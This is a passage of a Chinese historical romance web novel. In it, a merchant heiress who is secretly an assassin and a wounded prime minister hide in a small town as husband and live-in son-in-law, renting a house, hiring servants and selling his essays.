早就听闻京中贵族圈子中很多权贵有些奇怪的癖好,不会这位看似端方古板的丞相大人也有不为人知的另一面吧。
白妙可在心中想了许多,却没有问出口,饶是她自认思想比较开放,也实在难以启齿。
再观察观察吧,万一他真有那个癖好,偶尔用鞭子满足一下他,也不是不行。
说服了自己,白妙可有些不自在地对男人说:“你身上还有伤,不能太过。”
陆瑜疑惑:“嗯?”不知自己是哪里不能太过。
一低头却看见了那不太听话的小兄弟正直挺挺地立着,忘记他这小兄弟早上比较激动了……
他若无其事地将白妙可掀开在一旁的被子拉过来盖住,却是从脸红到了脖子根。
“嗯,抱歉,早上很难控制,你先出去吧。”他的嗓音有些沙哑。
白妙可有些摸不着头脑,这个癖好还会在早上更严重吗?但她还是穿上昨日张姐拿来的衣裳出门洗漱去了。
衣裳是农家最常见的粗布衣裳,灰扑扑的颜色穿在身上却也掩不住她的明艳动人,反而更多了几分清水出芙蓉的秀丽。
她正对着院中散步的大公鸡出神发呆的时候,一声清脆的童声传来。
“姐姐~”二丫端着一个铜盆小跑过来。
走近了白妙可才发现有些破旧的盆中装了半盆清水。
“给你洗漱用。”二丫两只手将盆举得尽量高。
白妙可有些受宠若惊,忙将铜盆接过,笑着说:“二丫真能干啊。”
想了想又补充道:“我一会儿再念书给你听怎么样?”
小姑娘果然露出一脸惊喜的模样,高高兴兴地跑回屋内去拿书了。
白妙可捧着水洗了把脸才觉得自己彻底清醒过来。
此时张姐恰好也走了出来同她招呼道:“早食做了些白粥,不知你们何时起,还在灶上温着呢。”
白妙可有些不好意思地摸了把脸上水珠,没想到村中百姓居然起的这么早。
“姐,你要去忙啥?我帮你。”白妙可看着妇人手里拿着一个篮子,像是要出门去。
“孩子他爹又去山上打猎了,我去菜地看看种的菜怎么样了,你在家好好照顾你夫君吧。”妇人笑着说罢又嘱咐了二丫两句才出门去
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了。
白妙可端了一碗白粥进屋,陆瑜已经起身靠在土炕一侧的墙边。
“你感觉怎么样了?”
“好些了。”陆瑜的嗓音带着些刚睡醒的沙哑。
看着他那眼下青黑加上脸上被打的巴掌印,白妙可实在看不出来这是好些了的样子。
于是又试了一下他额头的温度,摸上去好像还有些低热。
白妙可蹙眉,将手伸向了男人的衣襟,瞬间便感受到了男人明显僵硬的身体。
"我看看你伤口。"白妙可有些好笑地说。
“没有流血了。”陆瑜薄唇紧抿,脸上看不出喜怒。
“那你先喝粥,二丫在给你熬药呢,吃完喝药。”白妙可觉得他有些可怜,消了继续戏弄他的心思,正色道。
“你吃过了吗?”陆瑜端过白粥,却是问起她。
白妙可点点头,她是喝了,只是喝的很少便是了,这农家的粗茶淡饭她实在有些食不下咽。
陆瑜这才端着粥慢慢喝了起来,动作矜贵优雅,平淡的白粥仿佛也值得细细品味。
白妙可没再打扰他,直到一碗粥见底,她才开口:“再留两天吧。”
“该走了。”几乎是同时,陆瑜也说起此事。
两人同时愣住。
虽然在这里吃住条件都很艰苦,但是两人身上都有伤,需要修养一段时间才能继续上路,尤其是陆瑜的伤口,好不容易止血,若是又挪动,恐怕反复而加重。
白妙可自觉考虑很是周到,陆瑜却是有其他的考量。
一方面,这个村落离他们上岸的地方太近了,难保不会有人找过来;另一方面,白妙可显然不习惯这么朴素的环境,这两顿饭几乎都没怎么吃,他不愿她委屈自己。
“你的伤怎么走?”白妙可反问道。
“小心一点便是,也不必走远,我们先去镇上歇脚。”陆瑜耐心解释,语气却很是坚定。
到附近的镇上也行,可以再请大夫开些更好的药来。白妙可立刻便被说服了。
于是两人开始计划着下午便动身。
白妙可还放了几块碎银在昨日睡的炕上,算是感谢这一家人的照顾。
然后就给二丫念了一上午的论语,陆瑜还替她在许多地方加上了标注,方便她后面自己看,三个人坐在院中很是和谐。
日照当空的时候,上山打猎的张哥回来了,一手提着一只兔子,笑得见牙不见眼,进面便扬声夸赞陆瑜:“陆秀才,你给俺说的那个什么弩太好用了,碰见两只兔子全打中了!”
“有用便好,我与娘子已经叨扰许多,我们下午便要离开了。”陆瑜拿出读书人彬彬有礼的态度。
“不打扰不打扰,你不是有伤吗?带着你媳妇多住两日吧,不碍事的。”张大壮还想挽留。
见陆瑜实在坚持要走才作罢。
只是临走的时候二丫扒在门口很是不舍:“姐姐你家住哪儿啊?我能去找你玩吗?”
白妙可不想骗小孩,就不知该如何回答这个问题,正为难的时候,身旁的男人开口:“就在镇上,会有机会的。”
白妙可也跟着点头,“你要好好念书,下次见面我可要考考你。”
两人也没什么行李,就这么坐着张大壮特意借来的牛车便往镇上去了。
42. 有妻如此
“你好,请问镇上最好的酒楼是哪家?”白妙可拉着一个路人询问,陆瑜面无表情地立在一旁。
那人上下打量了一圈这两个衣着普通但是相貌不凡的人,指了一个方向,说:“镇上只有一家酒楼,可不便宜。”
最后一句是看着陆瑜说得,略带质疑。
白妙可道了声谢便扶着陆瑜往酒楼走,他身上的伤口还不能剧烈活动,两人花了一刻钟才走到酒楼门前。
说是酒楼,实际上只是一座两层高的小楼,木质门匾上写着迎春楼,一左一右两个石狮子倒是看着也像模像样。
跟揽月楼是比不了,但是凑活吃吧,白妙可已经好几顿没怎么吃了。
已过了晌午吃饭的时间,楼内的客人寥寥无几,两人一进门便引起了店小二的注意。
“两位客官这边请。”说着伸手替他们引了一张大堂的空桌。
白妙可不死心地问:“没有雅间吗?雅间多少钱?”
“回客官,楼上有雅间,十两一间。”小二说完有些期待地看着他们。
白妙可别过脸,假装无事发生过,扶着陆瑜坐到了大堂的空桌旁。
此处临窗,而且时间也已经过了饭点,倒也算是安静。
盯着酒楼菜单上动辄七八两一道的菜品,又摸了摸兜里仅剩的五两银子,白妙可求助地看向了陆瑜。
陆瑜被她进退两难又可怜兮兮的神色逗笑,从怀中摸出一块金牌子递给白妙可。
白妙可好奇接过,沉甸甸的金色牌子做工考究精致,一面是层层鱼鳞,雕工细致,鳞片层叠栩栩如生。
另一面只有两个大字--丞相。
白妙可看出来了,这是代表丞相身份的金鱼符,他居然把这东西拿出来了!
白妙可迅速将东西藏进袖子,紧张地左右张望,见无人注意到这边,才凑近陆瑜说道:“你拿鱼符出来干什么,难不能还要抵押这个?”
“也不是不行。”陆瑜淡定回答,仿佛那只是一块无关紧要的物件。
“这可是丞相身份的象征啊,你就这么给我了?”白妙可还是很惊疑。
陆瑜哂笑:“谁说丞相身份要靠这鱼符来象征了?”一句话问得白妙可哑口无言。
确实,他能坐上这个位置向来都是靠强硬的手段,便足够让朝野上下信服。
想通这点,白妙可便又将鱼符拿出来,摸了又摸,这可是沉甸甸一大块黄金啊。
“可以切一点下来,多了会暴露。”陆瑜觉得自己再不提醒她能把这一整块都给出去。
“啊!好吧。”白妙可也发现了鱼符上的朝廷印记遗憾地摸了摸,又看了眼在远处打盹的店小二。
“要不我们还是走吧。”白妙可小声说。
陆瑜:“嗯?”他不是都说了可以切一点儿下来了吗。
“走吧走吧。”白妙可挽起陆瑜的手臂,做贼心虚般一溜烟离开酒楼。
大手大脚惯了的她还是头回因为吃不起饭而溜走,抬头去看陆瑜,他还是那副气定神闲的模样。
白妙可回忆了一下,好像除了偶尔被自己调戏的时候,其余时间这位丞相大人总是如此风度翩翩,仿佛一切尽在掌握。
“从鱼符上切点儿金子下来没问题的,我回头再找人补上便是。”陆瑜见她难得窘迫的模样,笑着安慰道。
“还是算了,请大夫治伤要花钱,你伤好前我们还要在这里住段时间,也要花钱,吃些别的也行吧。”白妙可说得振振有词。
陆瑜依旧是笑着颔首,心里却是乐开了花:没想到她还懂得勤俭持家,有妻如此,夫复何求!
似乎全然忘记了两人只是假扮夫妻。
最终两人在路边一家包子铺吃了两笼包子。
可是填饱肚子只是第一步,接下来还要考虑住在哪里。
在找住处之前,两人先寻了家医馆。
门匾上写着仁心堂,进门是一整面墙的药柜,药柜旁坐着一位年轻小童,看起来是个学徒,里面的躺椅上还有一位中年男人闭眼假寐。
白妙可扶着陆瑜进门,抬手扣了扣门板,吸引了年轻学徒的注意。
“两位有什么需要?”他站起身来,机灵地打量二人。
“劳烦帮我娘子看一下伤。”陆瑜说道。
白妙可有些诧异地挑眉看了他一眼。他们从船上逃走那日确实是受了些皮外伤,阿灵帮她简单处理以后便没再管。
现在用力的时候还是会疼,但是跟陆瑜那伤及肺腑的伤势来说,实在算不得什么,所以她也从未提过,没想到陆瑜还记挂着。
“好,先帮我看看吧。”白妙可不是磨叽的性子,也不跟他推诿。
那学徒应了声好,便走到躺椅边上轻唤:“师傅,师傅,来病人了。”
唤了两声,躺椅上的中年大夫才悠悠转醒,看了眼自顾自坐在一旁的两人。
“怎么了?”男人开口问。
陆瑜又重复了一遍方才的话,那大夫才让二人坐下,替白妙可把了把脉。
有些没好气地说:“你这脉象有力壮硕如牛,伤在哪里了?”
忽略他不太友善的态度,白妙可还是很高兴自己身体不错的,她好脾气地说道:“胳膊上有几处划伤,右边肩头被刺伤,现在抬手的时候会痛。”
大夫有些诧异地重新打量眼前女子,看起来也就双十年纪,怎么会受这种伤。
“给你开几副止血的外伤药,回去敷上即可。”
接着似乎是想到了什么,面色不善地看了眼陆瑜说:“打女人的男人还是离远点,再受伤你这铁打的身体也扛不住。”
这是误会了,白妙可没想到这脸臭的大夫心肠还挺好,她笑着说:“我夫君也受伤了,劳烦您也给他看看。”
那大夫从嗓子中憋出一个嗯,问道:“你伤哪儿了?”
陆瑜抬手指了指伤口的位置。
大夫面色稍凝,将人带到里间拆开包扎看了看伤口。
“你这伤太靠近心脏了,若是再偏一寸你这小命已经没了,幸亏有高人替你处理了伤口,才让你撑到现在。”
听到高人,白妙可和陆瑜不约而同地想到了竹雨阿灵兄妹,不知他们二人现在如何了。
“那敢问我这伤何时能好?”陆瑜问。
“好?那还早着呢,你现在是不是偶尔觉得胸闷气短,心头滞郁?”大夫语气凉凉地问。
“是。”陆瑜颔首。
“那便是了,你这伤口应当是长时
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间沾水导致气血回流,堵塞胸口难以排出。”
“那该怎么办?”白妙可追问。
“有钱吗?有钱的话吃些活血化淤的药,好的快些;没钱回去好好躺着少做体力活,过个把月也能好。”大夫说得很是直白。
想了想又补充:“但是千万别折腾了,你这伤口太深,若是又扯开流血了,会很麻烦。”
他这一番话虽然不太客气,但是却十分有用,陆瑜道谢:“多谢您,请问诊金几何?”
那大夫又上下打量了两人朴素非常的衣着,谈了口气道:“诊金十文,药材另算。”
“要最好的药材!”白妙可说得底气十足,完全看不出她现在浑身上下只有四两银子了。
大夫几笔写下药方递了过去,说道:“一副药一两,早晚各一副,还有你那外伤药……”
话未说完就被白妙可打断,“那外伤药就当您送我们的呗,以后来您这儿拿药的机会还多呢。”
大夫无奈摇头:“你这伶牙俐齿的小姑娘。”
说罢将药方递给学徒让他去取药了。
白妙可二人坐在原地等着,她又同那大夫攀谈起来:“话说镇上有没有人家出租院子啊,我们想租处地方。”
那大夫依旧没什么表情地说:“那你们得去老王婆那里问问,我只会看病。”
两人拿上药,给出了身上最后四两银子,准备去他说的王婆那里去问问有没有空房子。
“没钱了怎么办?”白妙可撇撇嘴,有些不太高兴地接着说。
“这小破镇子也太偏了,我白家的产业都没开到这儿,早知道多带着银子在身上了。”
“哎我们不会要露宿街头了吧。”
她絮絮叨叨地抱怨了不少,却始终未提后悔救他。
陆瑜说不清自己的心情是高兴还是自责更多一些,若不是为了救他,这位大小姐绝对不会沦落到这么落魄的境地,也是为此,他心中有些窃喜,她原来比自己想得更爱自己。
“算了,我先把这簪子当了吧。”白妙可最终叹了口气,从发间拔下一枚玉簪。
其实她还有一枚金簪,不是不舍得当,而且那金簪簪头是她专门磨过的,十分锋利,必要时用来防身十分好用。
一路沉默想着心事的陆瑜这才有了反应,从她手中拿过簪子插回她的发间。
“还是切鱼符吧。”语气随意,仿佛这算不得什么。
白妙可这才找了个角落又掏出那鱼符翻来覆去看了一遍,要从这做工精美的鱼符上面切下一块,有些不忍下手。
一双修长的手将其接过,手起刀落一个金灿灿的鱼头便切了下来。
白妙可捡起端详,发现这个位置选的妙啊,既避开了背面的丞相二字,也错开了正面的朝廷官印。
“可以啊,我们去租个大宅子,再雇上十个八个的下人照顾你养伤!那衣服首饰也要再买一些了,在这里最少也得住上十天半个月吧。”白妙可高兴地捏着金鱼头说道。
陆瑜有些头疼,觉得自己方才认为这位大小姐会勤俭持家的想法十分错误,自己该更努力一些了。
心里想得是如此,看着两人紧握的双手,他说出来的话却是十分纵容,“好,都依你安排。”
43. 吞吃入腹
第二日两人都在这过分安静的院子里睡到了日上三竿。
这是白妙可的日常,但是陆瑜确是罕见地晚起。
白妙可醒来发现自己睡在男人怀里,那人还紧紧握着自己的手,但是两人衣裳都完完整整地穿在身上。
她轻叹一声,反思自己怎么能在这人身边睡得这么死,自己可是杀手啊,才不是什么依赖男人的娇妻!
但是不得不说,这男人怀里睡得是真舒服啊,白妙可很快就原谅了自己的不警觉,默默欣赏起了美男沉睡图。
直到发现男人的喉结不自觉滚动了一下。
好啊,他居然在装睡!
白妙可便起了捉弄他的心思,她先是将手抽出来撑在男人身侧。
向着身下依旧双眸紧闭的男人俯身靠近,凑到他的耳畔吐气如兰道:“我要亲你了,你不说话就是默认了哦。”
看着依旧不动如山的人,白妙可心道真是好定力。
于是她继续俯身靠近,直到看见男人脸上新长出来的胡茬,直到两人的唇只有一指距离的时候,她才停了下来。
就这么不上不下地等着,直到感觉紧闭双眼的男人的呼吸不再平稳,白妙可才准备起身离开。
却一个不防被人拉近距离,本就近在咫尺的唇终于贴在一起。
白妙可的惊呼被男人吞噬,憋了一晚上的陆瑜吻得比昨日更急更狠,恨不得将这折磨了自己一夜却不自知的人给吞吃入腹。
不过在最初的措手不及过后,白妙可也逐渐不满足于被动承受,反而主动勾上他的脖子与他唇齿纠缠。
两人互不相让,又共同沉沦。
最后还是主动纠缠的陆瑜又主动撤离这个过分激烈的吻,否则他怕今日难以收场。
重新躺到床上,白妙可感受着自己快速的心跳,想着今日要抓紧找几个下人把房间打扫一下,尤其是床上,可要好好收拾干净,真是耽误事儿!
身旁的陆瑜却是陷入自责,他一向主张克己复礼洁身自好,即便是两情相悦也该经过父母之命,媒妁之言才可,自己这般冒犯,实在不合礼数。
“抱歉。”他的嗓音平静,全然看不出方才的热情。
“嗯?”白妙可疑惑他在道什么谦,继而反应过来:“哦没事的,本来我也嫌这床上不干净,不太方便……”
听出她的未尽之言,陆瑜觉得自己刚平复的躁动又快要失控了,他深吸一口气,说道:“我先去打水。”
白妙可心不在焉地应了一声,心里却在想他是不是不高兴了……
直到她随便拢了拢头发起床,才发现男人已经坐在灶台旁边烧水了。
她走过去同他说今日的计划,男人一一耐心回应,仿佛不曾生气,让白妙可有些摸不准他的想法了。
纠结男人的想法不如练武。
白妙可不再想这些,简单洗漱以后便在院中拿了根树枝练了一套剑法,她其实最爱用的还是鞭子,可惜上次在船上她的鞭子断了。
练完剑看见陆瑜坐在树下的石凳上看着她出神,白妙可唇角一勾,又从地上捡了块石子,弹指间一片树叶被打落,悠悠落到陆瑜眼前。
陆瑜回身,伸手接住那片树叶,发现叶子正中一个整齐的孔,可见石子穿过树叶的力道之大。
他满心满眼都是面前一身布衣却在阳光下闪闪发光的少女,移不开眼。
晨间锻炼结束,今日要做的事情还有很多,两人一同上街。
先是雇了两个下人,是一对家破人亡的兄妹,十几岁的模样,在街头挂着一个牌子卖身,但求一口饱饭,白妙可看两人实在可怜,便将二人带着了。
过程中陆瑜面无表情的看着却未置一词,白妙可却感觉到了他微妙的情绪变化,本来还有些弧度的嘴角抿成了一条直线。
让二人去买些吃食,白妙可才问道:“怎么了?他们俩有问题吗?”
“他们的父母是被官府害死的。”陆瑜沉声说道。
“啊?他们不是说种田的时候被山匪所害吗?”白妙可疑惑。
“山匪不会做无利可图的事情。”
“那官府杀这农家百姓图什么?”
“地。现在朝廷正在为百姓减轻赋税,地方官府能克扣的赋税便也随之减少了,于是便出现了官府直接抢占百姓土地的情况。”陆瑜解释道,这件事情他还在京城的时候便已听说,没想到朝廷还未给出对策,底下的小官能做的如此过分。
白妙可有些生气:“如此行径朝廷竟然不管吗?”
“自然要管,只是此处远离京城,又是偏僻小镇,天高皇帝远。”陆瑜一直以来也为此烦恼。
闻言白妙可便懂了,就如同白家这开遍五湖四海的商号一般,难免会有一些商铺疏于管理导致掌柜做假账黑吃黑之类的情况。
“老爷,太太,给您。”方才那个男孩一手提着一包糕点一手牵着妹妹走过来。
“好,算是给你的跑腿钱了。”白妙可没接他递过来的几个铜板。
“多谢太太!”男孩高兴地将铜板塞到妹妹手里,自己提着糕点跟着白妙可两人继续逛。
随后他们又购置了许多日用品,米面肉菜,最后还去裁了几身衣服才打道回府。
殊不知两人虽然很是低调,却这对新搬来的美貌少妇和她的赘婿已经在镇上出名了。
毕竟这镇子少有生人前来,更别说是如此气度和长相的两人,是以街头巷尾饭后茶余的谈资很快便成了这两个神秘的外乡人。
然而在两人新租的院子里却是一派热火朝天,白妙可买来的那两个兄妹,哥哥叫小风,妹妹叫小雨,两人都十分能干。
花了不到两个时辰,原先落灰的房间便被打扰的一尘不染。
白妙可既惊喜又满意,看着二人忙上忙下,陆瑜也在书房内不知做些什么,她百无聊赖地转悠到了厨房。
今日买回来的食材都已经摆到了架子上,白妙可觉得自己也不能闲着,不如做个晚饭。
虽然从未做过这些,但是白妙可也是见过揽月楼后厨做菜的,看上去也没有那么难。
挽起袖子三下五除二的将菜备好,对自己的刀工十分满意,信心满满。
结果不出一盏茶的功夫,厨房闹出滚滚浓烟,白妙可白白净净进去,灰头土脸出来。
看见黑烟的其余三人也跑了过来,小风小雨一人提着一桶水,跟在最后的陆瑜脸色铁青。
看见手足无措立在厨房门口的白妙可,他快步走过去拉着人打量了一圈,确定人没事儿只是有点脏,才开口问
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:“怎么回事儿?”
白妙可讪讪地指了指还在冒烟的灶台,小声说:“炒菜呢。”
屋内小风已经将火扑灭,小雨从锅中盛出一碟黑的看不出是什么的菜。
陆瑜这才忍俊不禁问:“娘子这是炒的……木炭?”
白妙可脸都憋红了,才勉强蹦出三个字:“土,豆,丝!”
“哦~”陆瑜一个哦字拖的尾音极长,气得白妙可想打人。
……
看着桌上虽然简单但是味道都还尚可的四菜一汤,白妙可陷入了沉思,接着有些好奇地问:“小风,你怎么会做这么多事情?”
“父母不在了,我要照顾妹妹。”小风腼腆道。
白妙可莫名想到一句话:穷人家的孩子早当家。
她点点头,没暴露心中怜悯,只夸奖道:“真厉害,以后便跟我们一起吃饭就行。”
男孩偷偷抬眼看了眼陆瑜的神色,没从他平静的脸上看出什么不满才应了一声,带着妹妹在桌子一边坐下。
一顿饭还算融洽,知道陆瑜喜静,白妙可安排两人住在前院,晚上送药还有送水以后,好好休息便是。
虽然今天将后院的三个房间都收拾出来了,但是两人默契的都未提分开睡的事情。
于是主屋右侧的房间便作为了盥洗室,左侧房间则当作书房。
白妙可已经记不清自己有多久没有舒舒服服泡个澡了,整个人泡在温热的水中,开始想念家里那白玉做的大汤池和各色各样的香膏凝露。
叹了口气,她趴在浴桶边上想着自己最初的计划:去江南调查母亲的身世,找寻一下自己可能存在的外祖家。
怎么就成了现在这样了!
真是被陆瑜给耽误了啊,她暗道男色误人,觉得自己这顶级杀手陪他窝在小镇养伤真是亏本了。
作为一个精明的商人,她从不做赔本买卖,于是她很快便想好了怎么讨回自己对他的救命之恩……
等她收拾好,擦着头发回屋的时候正好碰到陆瑜坐在床边自己换药。
白妙可立刻上前仔细打量了一下他的伤口,虽然已经开始结痂了,但是看上去仿佛随时都会流血一般。
盯着看了半天,白妙可注意到男人白皙的身上仿佛透着些粉,抬头便发现这粉一直蔓延到了男人的耳垂。
也太容易害羞了吧!白妙可在心里尖叫,面上却是一本正经地说:“你还是好好躺着休息吧。”
陆瑜点头嗯了一声,动作迅速地穿好衣服,为她让出地方。
白妙可穿着寝衣躺到里侧,发现今晚床上准备了两床被子,她默默扯过一条被子蒙住脑袋,在被子里放肆地露出一个笑容。
丞相大人最好快些把伤养好,她可要迫不及待连本带利地收取自己救命之恩的报酬了!
这般想着,等她睡着的时候,居然梦见了陆瑜。
是他高中状元打马游街那日。
一身红色官服的少年郎意气风发,坐在高头大马上穿街而过,许多姑娘芳心暗许,鲜花手帕相掷。
可是这位状元郎走过花丛片叶不沾身,只有一朵小小的栀子花,带着些劲风直直插入他高高竖起的玉冠之间,平添几分风流。
翩翩少年郎抬头看来,一眼万年。
44. 霸道赘婿
白妙可和陆瑜搬入镇上的第三日,迎来了第一位客人—隔壁老秀才。
这位老秀才已经五六十岁的年纪了,一生都在考取功名,最高也就考到了秀才,但是秀才在这普通小镇已经算是有头有脸的人物了,为人十分恃才傲物。
听闻镇上新搬来了一位年轻秀才,这老秀才就坐不住了,说什么都要来看看。
于是在上午叩开了小院的门,小风一见来人便跑着去后院通传。
后院中,白妙可正在练武,陆瑜坐在庭院石凳上翻着一本书。
听见有人拜访,两人都很惊讶。
“要见吗?”白妙可收起充作鞭子用的柳条,转头问陆瑜。
“见,我去前面看看。”陆瑜起身跟着小风去了前院。
三言两语的寒暄,陆瑜便摸清了来人的意图,无非是借着前辈的身份试探他的学问功底。
陆瑜很快没了耐性应付他,索性推脱说自己身体不好,需要回房休息,才将人打发走。
没成想,隔日这老秀才又来了,这次还带了自己老来得女的宝贝女儿。
“这是我女儿,名唤淑兰。平日也喜欢琢磨些诗词歌赋,我想着你们年轻人更有话聊,便将她带来了。”老秀才同陆瑜介绍道。
而那位叫做淑兰的姑娘也在抬眼打量着陆瑜,算得上清秀的脸上透出一抹红晕。
见惯了这类手段的陆瑜一眼便看穿了这父女二人的心思。
于是叹了口气道:“正巧我夫人也擅长诗词,淑兰姑娘可同她切磋。”
说罢看了眼候在一旁的小山,后者会意,立刻去后院请白妙可过来。
闷在这院子里好几日了,白妙可正百无聊赖地看画本打发时间,听闻陆瑜请自己去前院说话,还有些奇怪。
她那日便问了陆瑜,知道那隔壁的老秀才是个迂腐古板的酸文人,便失去了兴趣,不知道今日为何叫她。
她很快跟着小山来了前厅,看见那位眼神几乎黏在陆瑜身上的姑娘以后,她心中立刻了然,这家伙招桃花了。
白妙可挂上她的招牌甜笑同陆瑜道:“夫君,有客人来你该早些叫我的。”语气嗔怪又娇俏。
说罢又同坐在一旁的两人招呼:“您就是住隔壁的王大爷吧,幸会幸会。”一句话将他引以为傲的秀才身份改成了老大爷。
接着又转向一旁的女子:“不知这位是?”
“这是小女淑兰。”老秀才脸上有些不悦,但还是要介绍自己的女儿。
他那日同陆瑜聊过以后便知这位不是池中之物,虽说身体不好,但是早晚会有飞黄腾达之日,所以便让女儿过来看看。
白妙可点头,也介绍自己:“我姓白,叫我影月便好。”她在这镇上的化名便是最开始碰见陆瑜的时候用的。
又闻此名,果然引得陆瑜抬眸看来,若有所思。
此举在老秀才眼里却是另一种意味,似乎是想讨好陆瑜,他端起那副古板严肃的长辈姿态说道:“女子既已嫁人,合该随夫姓。”
白妙可没想到这老头这般不识抬举,刚想反驳回去,便听一旁的陆瑜主动说:“是我入赘于她,自然不必随夫姓。”
这还是白妙可第一次听陆瑜主动说起,她本以为两人隐姓埋名藏在这镇上,他不会再配合这个身份,没想到如今还主动提起。
是为了替自己说话吗?
白妙可满意地勾起唇角,在心里给他加了一分,决定讨救命之恩的时候对他温柔一点。
接着挑眉看向一脸错愕的老秀才和他女儿,笑着说道:“是啊,但是我家也不是那种刻板之户,我夫君还能有自己的姓名,您还是叫他余秀才便是。”
陆瑜在这镇子上的化名为余鹿。
老秀才听着白妙可这暗含嘲讽的话语,脸色铁青着应了一声。
便很快带着女儿离开了。
人都走了,白妙可瘫坐在椅子上同陆瑜说:“估计没几天这镇上的人便知道你是赘婿了。”
陆瑜颔首说:“嗯。”
男人不都是好面子吗?白妙可不信他反应这么平淡,接着问:“你不怕被人瞧不起?”
“若是男子入赘会被瞧不起,那女子娶妻不也是一样的?”陆瑜反问。
白妙可一愣,没想到他会这么说。的确是这样,嫁娶从来都无有不同,只是世人大多觉得女子合该不如男子,所以入赘才比娶妻更容易受到诟病。
再一次对这位丞相大人的思想境界有了新的认知,白妙可赞许点头:“确实如此,世人对女子总是抱有偏见。”
“这种情况需要改改了。”陆瑜若有所指地说道,似乎已经有了什么计划,白妙可要追问,他却闭口不谈了。
出生便衣食无忧一帆风顺的人能看见底层人民的不易是十分难得的,白妙可有时候庆幸大齐能有这样的丞相。
……
自从上次送走老秀才以后两天,没再有人前来拜访。
白妙可每日固定练武,还在同小雨学习做些简单饭菜,两天下来她做的菜已经可以勉强入口了。
陆瑜也没闲着,每日除了固定喝药休息和看白妙可练武以外,其余时间常常一个人在书房写写画画。
一般这种时候,白妙可都会很好奇他在做什么,是不是在想办法联络戎青他们。
虽说想知道他每日写写画画的内容,白妙可也未曾偷看过,因为她发现陆瑜从来便没想瞒着她。
而他写的内容也并非什么机密,而是关于朝政的各类檄文。
“你写这个做什么?”白妙可看着一篇有关税赋之论的檄文问。
本以为他是为了百姓还是为了朝廷之类的,结果陆瑜简单回答了两个字:“卖钱。”
“啊?”白妙可疑惑地发出一声短促问询,拿出荷包,发现果然只有六两银子了。
其实他们每日的开销并不算大,只是陆瑜早晚要喝的药每日都需要二两银子,在,加上最初置办的那些东西,用他那金鱼头换来的银两就有些不够用了。
这笔钱一直是白妙可保管,没想到陆瑜倒也如此未雨绸缪。
“养伤需要时间,联络戎青也没有那么容易,起码还要住上半个月。”
“那老秀才说镇上也有不少想要考取功名的读书人,这檄文应当能卖些钱。”陆瑜不疾不徐地说。
白妙可点头,心想若是他们知道这是当朝丞相亲自写的檄文,恐怕会重金相求,可惜他们不能暴露身份。
“那我帮你拿
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去书肆问问。”白妙可在家里闷得厉害,正好出去逛逛。
陆瑜将几篇檄文收好交给她,说道:“我同你一起。”
白妙可眼尖地发现在几张空白宣纸下面好像有副画,趁着陆瑜没反应过来,她将画眼疾手快地抽了出来。
画上是一个女子正在舞剑,衣裙翻飞间卷起一院的落叶落花,漫天纷飞,仿若天女降世,无人可敌。
这幅画似乎还未完成,画上女子还没有五官,但是这神态,毫无疑问就是白妙可。
她惊喜地说:“我拿着破树枝练剑你都能画得这么好看?!”
“呃……你本就好看。”陆瑜的语气平静仿佛在陈述事实,只有那滚动的喉结彰显出他此刻有几分紧张,看到白妙可很是开心的模样,才暗暗松了一口气。
白妙可高兴的却不只他将自己画得如此完美,而且想到了一个来钱的好法子。
“走吧走吧,我们先出去逛逛。”白妙可有些迫不及待地拉着陆瑜。
后者无奈地拿起被落在桌上的檄文,跟着自己的粗心娘子出门。
两人还带了小山一块儿,有他带路,直接去了镇上最热闹的主街。
街道两旁有一些摊贩叫卖,白妙可边走边看,留意到除了常见的卖吃食和零碎物件以外,也有一些支着摊位代写书信的读书人和卖字画的小贩。
她先去问了那代写书信的读书人,写一封信需要十到二十文钱;又去看了看那些字画,水平很是一般,若是在京城叫卖,恐怕都不会有人多看一眼,在这里却可以卖上几百文到一两的价格。
白妙可心中有数了,才让小山带他们去了镇上最大的书肆。
书肆开在主街尽头,一个中年掌柜的接待了他们,拿过陆瑜的檄文看了又看。
小山小声同白妙可说:“这位吴掌柜以前也是读书人,后来屡考不中才开了书肆,没想到开书肆反而赚了许多钱,就没再参加科考了。”
白妙可点头表示自己知道了。
这头掌柜的也已经看完了檄文,正同陆瑜说话:“这是余秀才自己写的吗?这般文采不应当只是秀才啊。”
还未等陆瑜接话,他又说:“肯定是朝廷那帮狗官又在科举上徇私舞弊,埋没了你这大才。”
陆瑜打断他的话,说道:“是在下身体不好,难为朝堂效力。”
掌柜的这才止住话头,打量了面前身量颀长的男人,除了脸白了些,实在看不出哪里身体不好,但这是个人私事,掌柜的便没再多问。
最后两人谈妥,陆瑜将檄文以一两一篇的价格卖给掌柜,掌柜可以自行抄录在书肆里售卖,收益分三成给陆瑜。
同掌柜谈完,陆瑜发现白妙可在一排书架前认真挑选,便走上前问:“要选什么书?”
“画本,选哪个好呢?”白妙可手里拿着两本书,一本是女侠的江湖风流录,另一本是俏寡妇和她的十个赘婿。
陆瑜嘴角一抽,粗略扫了面前的书架,从上头拿下一本书递了过去:“还是这本吧。”
白妙可接过一看,封面上赫然写着:霸道权臣爱上我。
最后两人离开书肆的时候,小山手里就多了三本包的严严实实的书。
读书使人进步。
45. 被迫卖艺
“看来你的赘婿身份出名了啊。”白妙可笑着打趣。
两人在街上溜达一路,不知收获了多少目光和路人的窃窃私语,白妙可耳力极好,听见了几句都是说什么这般芝兰玉树的公子给人当赘婿可惜了之类的。
她啧了一声,为这些议论的女人而感到悲哀,女人就该自信一点儿!什么样的男人配不得呢,大惊小怪的。
逛到晌午,两人又去了上回的酒楼,这次不等小二询问,就自觉找了个大堂临窗的位置坐了下来。
这也是白妙可的习惯,以前在月影阁执行任务的时候,往往要观察刺杀目标的行动,那么靠窗的位置无论是杀人还是逃跑都是最方便的。
小二来招呼两人,白妙可点了几道上次想吃没吃成的当地特色菜:西湖醋鱼,梅菜扣肉,红油云丝和菊花豆腐。
点的菜还没上,先送来了几碟精致的点心,小二弓着腰说:“这是我们小姐送给贵客的,也是本地特色,您二位尝尝。”
“你们小姐是?”白妙可好奇地问。
“是我们少东家。”小二说着抬眼看向二楼长廊处,白妙可也顺着他的视线看去。
看见了凭栏靠着的女子,一身丁香色衣裙,发间别着一朵朱红色的花,单看衣着打扮便能看出这位女子的性情。
见白妙可和陆瑜朝自己,那女子落落大方的同二人点了点头,接着便风风火火地往楼下走。
白妙可同陆瑜对视一眼,从对方的眼中读出了迷惑,看来对此女的来意都不清楚。
转眼间人已至近前,近看女子一双杏眼水波荡漾,巴掌大的瓜子脸上妆容明艳,娇笑开口:“我是这店里的少东家,你们喊我云娘便是,见二位有缘,想交个朋友。”
“我叫影月,这是我夫君……”白妙可介绍的话还没说完,这位云娘就接话道:“余秀才是吧,久仰久仰。”
白妙可一头雾水,他们才来这镇上不到一周时间,怎么就久仰了……
